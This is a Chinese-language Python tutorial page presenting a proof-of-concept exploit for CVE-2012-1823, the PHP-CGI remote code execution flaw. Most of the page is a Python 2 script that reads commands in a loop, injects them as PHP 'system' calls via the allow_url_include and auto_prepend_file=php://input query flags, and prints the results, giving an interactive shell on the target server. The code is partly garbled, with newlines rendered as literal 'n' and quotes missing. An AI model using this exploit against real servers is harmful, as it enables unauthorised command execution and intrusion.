用例2: CVE-2012-1823
CVE-2012-1823
這個PoC演示了CVE-2012-1823 – PHP-CGI的遠程代碼執行漏洞的利用,下面這個PoC的代碼是通過一個簡單的循環來獲取PoC使用者頻繁輸入的內容,並且修改HttP頭。Post提交請求。這個代碼的原理也可以用於其他的示例。因為這段代碼演示了如何通過Python創建自定義的HTTP頭並且發起請求:
#!/usr/bin/pythonnimport sys, urllib2 #導入需要的模塊nnif len(sys.argv) != 2: # 檢查輸入的格式是否正確 "<script> <URL>"n print "Usage: "+sys.argv[0]+" <URL>"n sys.exit(0)nnURL=sys.argv[1] # 輸出測試的url鏈接 "[+] Attempting CVE-2012-1823 - PHP-CGI RCE"nnwhile True: # 循環開始時先輸出 "~$ " 然後通過"raw_input"獲取要執行的命令n command=raw_input("~$ ")n Host = URL.split(/)[2] # 從URL解析主機名: http://<host>/ 並且賦值給Host <host>n headers = { # 定義響應頭部n Host: Host,n User-Agent: Mozilla,n Connection: keep-alive}n data = "<?php system("+command+");die(); ?>" # PHP運行的伺服器n req = urllib2.Request(URL+"?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data, headers)nn try: # 使用Try/Except處理響應信息n response = urllib2.urlopen(req) # 發起請求n for line in response.readlines():n print line.strip()n except Exception as e: print en
結果演示
![php_cgi][1] [1]: img/0x14.png
推薦閱讀:
※利用 Python 打造反向 TCP 後門
※Python入門到精通視頻課程(5)
※一起來學Python吧
※控制循環與函數
TAG:Python教程 |